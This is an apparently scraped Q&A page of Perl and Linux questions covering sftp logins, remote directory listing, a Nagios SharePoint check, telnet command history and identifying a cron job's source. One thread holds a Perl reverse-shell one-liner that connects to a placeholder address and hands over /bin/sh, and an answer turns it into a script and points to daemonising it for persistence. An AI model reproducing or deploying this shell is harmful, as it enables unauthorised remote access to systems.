How can I connect to sftp using linux command from Perl - linux

#!/usr/local/bin/perl
use strict;
use warnings;
system("cd $PATH
/usr/bin/sftp mysite.com <<!EOF
put sample.txt
bye
!EPF");
When i complile tha application, it asking the pasword,
how to pass the user/password in the code itself,
what i want is, my script should not ask the password. i want to set the user/password in the code itself.
user command not working in sftp
How to make it.

With such a vague question its hard to give more of an answer…
Have you tried the Net::SFTP module?
EDIT:
Based on the edit to the question - try using Net::SFTP::Foreign
use Net::SFTP::Foreign;
use warnings;
use strict;
my $host = "xxx.xxx.xxx.xxx";
my $sftp = Net::SFTP::Foreign->new($host, user => 'user', password => 'pass');
$sftp->error and die "Something bad happened: " . $sftp->error;
$sftp->put("sample.txt", "/home/test/test") or die "put failed: " . $sftp->error;
You should get a more meaningful error message and you can take it from there.

You can try other modules, e.g Net::SFTP::Foreign or the SFTP functionality of Net::SSH2.

Related

how can i create persistent socket connection on perl?

I'm learning Perl and I have two Linux systems (server/client). I want to connect them via Perl with a reverse socket connection.
The way I do it is with this command on the server side:
perl -e 'use Socket;
$i="**iphere**";
$p=**porthere**;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};'
This works fine, but I want to make it persistent on time. Maybe executing some delayed script.
The server system is CentOS.
Any idea?
Well, step one would be to take your command-line script and turn it into a real program. Put it in a file called my_server and reformat it like this (to make it easier to maintain).
use Socket;
$i = "**iphere**";
$p = **porthere**;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}
You can now run that by typing perl my_server at the command line. We can make it look more like a command by adding a shebang line and making it executable. At this point I'm also going to add Perl's safety nets, use strict and use warnings (which you should always have in your Perl code), and they will require us to define our variables with my.
#!/usr/bin/env perl
use strict;
use warnings;
use Socket;
my $i = "**iphere**";
my $p = **porthere**;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}
If we now make that executable (chmod +x my_server), we can now run it by just typing the program's name (my_server) on the command line.
The next step would be to make it into a proper service which you can start, stop and monitor using your OS's native service capabilities. I don't have time to get into that in detail, but I'd be looking at Daemon::Control.
You're kinda using Old school, C like of socket programming in perl which is good but remember it's Perl. To make it more readable and simple, you can always use IO::Socket. Which improves code readability and reduces code complexity. Also in production environment, I would recommend you to add server IP's in /etc/hosts and use the host name instead of IP.

how to parse password during the find command in linux?

I need to parse password during find a file in remote linux system, how can I read a remote directory in linux?
I tried one:
ssh root#192.168.5.6 "find /var/www/home" sshpass -p pass
it didn't work properly in linux, if any one face this solution, please let me know...
I tried two:
opendir(IN, "root#192.168.5.6:/var/www/home") || die "can't open !";
I tring also perl but it didn't work properly,
How can I start? How can I read a remote directory?
use Net::SFTP::Foreign.
use Net::SFTP::Foreign;
my $sftp = Net::SFTP::Foreign->new($host, user => $user, password => $password, autodie => 1);
my $ls = $sftp->ls($dir);
use Data::Dumper;
print Dumper($ls);
It wont work that way in perl. Try something like this:
open(IN, "$cmd|")
where $cmd is the command that works for you from the command line.

Nagios verify Sharepoint

I want to set Nagios (on my Debian) to verify a SharePoint server is up. I already tried to use cURL but it didn't worked for some issue that I don't know so I decided to change the way I'll verify that service.
It's simple in theory, I just have to make a script to send an request (http or https, doesn't matter) and check the response, if is 200 for successful or 40x if not (ok at this point).
So I have to use telnet or any ftp service to do that or I can use another feature/tool for that.
With telnet I'am having problem with 400 error. SharePoint returns this error when server is up or down, so I don't work for me.
Any ideas??
You can use the check_http plugin of Nagios. For example:
check_http -H SharepointHostname/IP -p port
You can use the -S flag for secure http connections
You can use the -u flag for going to specific URL
You can use the -s flag to search for a specific string in the HTML page returned from the url specified with the -u flag.
So basically you can request a specific page, scan for a known String, and if successfully found, you are sure this page is up (which means server is up etc.)
Example:
check_http -H my.sharepoint.com -u /start/page/sharepoint.aspx -s "test string"
Commonly this is done on login pages etc. Don't forget to escape special chars in your URL, if it contains any (like ? and &).
There's also a perl script available for checking sharepoint servers.
Does this not do what you want:
http://exchange.nagios.org/directory/Plugins/Email-and-Groupware/Microsoft-Sharepoint/check_sharepoint-2Epl/details
Most likely you're going to need a login/password for Sharepoint in order to monitor much more than the basic IIS / website is working.
I done my own way to check if SharePoint is UP or DOWN. Please pay attention that this script just checks the service status, nothing more like user permissions or whatever.
Perl script:
#!/usr/bin/env perl
use strict;
use warnings;
use LWP::UserAgent;
use Getopt::Long qw(:config no_ignore_case_always auto_version);
GetOptions ('h=s' => \my $h);
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)');
my $req = $ua->get('http://' . $h);
my $retorno = '';
if ($req->is_success)
{
$retorno = $req->content;
}
else
{
$retorno = $req->status_line;
}
if ($retorno eq "401 Unauthorized")
{
print "OK: SharePoint service at " . $h . " server is UP.";
exit 0;
}
else
{
print "CRITICAL: SharePoint service at " . $h . " server is DOWN.";
exit 2;
}
In case you got this exception when you run the script:
Can't locate LWP/UserAgent.pm in #INC
this article may help you as it helped me:
http://help.directadmin.com/item.php?id=274
So in Nagios commands.cfg file you'll declare the command this way:
command_line /usr/local/nagios/libexec/check_sharepoint.pl -h $HOSTADDRESS$
Where $HOSTADDRESS is the host IP variable in Nagios scope.
Remember to chmod +x on the file. I know you will...

How to implement a command history on a telnet client? (up/down arrows)

I have a server that accept telnet connections for management. I miss the command history so I want to make my telnet session support it. My questions:
1) Do I have to implement that on the server side, so the server will send the past commands to the client and then the client can re-execute?
2) Is there anyway to implement this functionality in the telnet client (not messing with the server) ?
If answer is 1) then I need to know how to capture and send the up and down arrow keys on my telnet session without having to press enter.
This isn't a server issue. Just use rlwrap with your telnet client. It gives you readline with no programming.
$ rlwrap telnet server port
(I actually use nc instead of telnet since it is easier to use and is more robust.)
use socat:
socat readline,history=$HOME/.telnet_history TCP:host:23
I'm assuming this is a service you have written in Perl, based on your tags.
You can use the Term::ReadLine module from CPAN to do what you want. From the CPAN website, here's a basic example:
use Term::ReadLine;
my $term = Term::ReadLine->new('My Management Service');
my $prompt = "Enter your management command: ";
my $OUT = $term->OUT || \*STDOUT;
while ( defined ($_ = $term->readline($prompt)) ) {
my $res = eval($_);
warn $# if $#;
print $OUT $res, "\n" unless $#;
$term->addhistory($_) if /\S/;
}

Find out who/what is calling a script (cron)

I was having a problem recently where somebody's cron job was calling a script that sent an alert to me when it was run. I wanted to find out whose job it was and which server it was running on.
The problem has been resolved by someone else, but I was wondering what I could have done to find out which host/username the job is being run from. One thing I could think of was to edit the script (Perl) and use Sys::Hostname. Anything else?
Thanks!
As you said, you can get the hostname with Sys::Hostname. You can also get the username with getpwuid($<):
use Sys::Hostname;
my $info = getpwuid($<) . '#' . hostname;
print "$info\n"; # prints user#host
There is no automatic way to do that unless you use mail to send out the alerts. Mails contain the host name in the header, so you can at least see where it came from (user and host). The time stamp should then help to locate the cron job.
For all other forms of alerts (SMS, pager, etc), you should make it a policy to include the user and hostname in the message.
You could also add to your script: print `env|sort`; -- that would reveal the USERNAME or LOGNAME. If you don't want to mess with the output of your program, log it to a file:
use POSIX 'strftime';
open my $log, '>>', 'logfile' or die "can't append to logfile: $!\n";
print $log strftime(%Y-%m-%d %T", localtime), " - starting $0\n";
print $log `env|sort`;
close $log;

Resources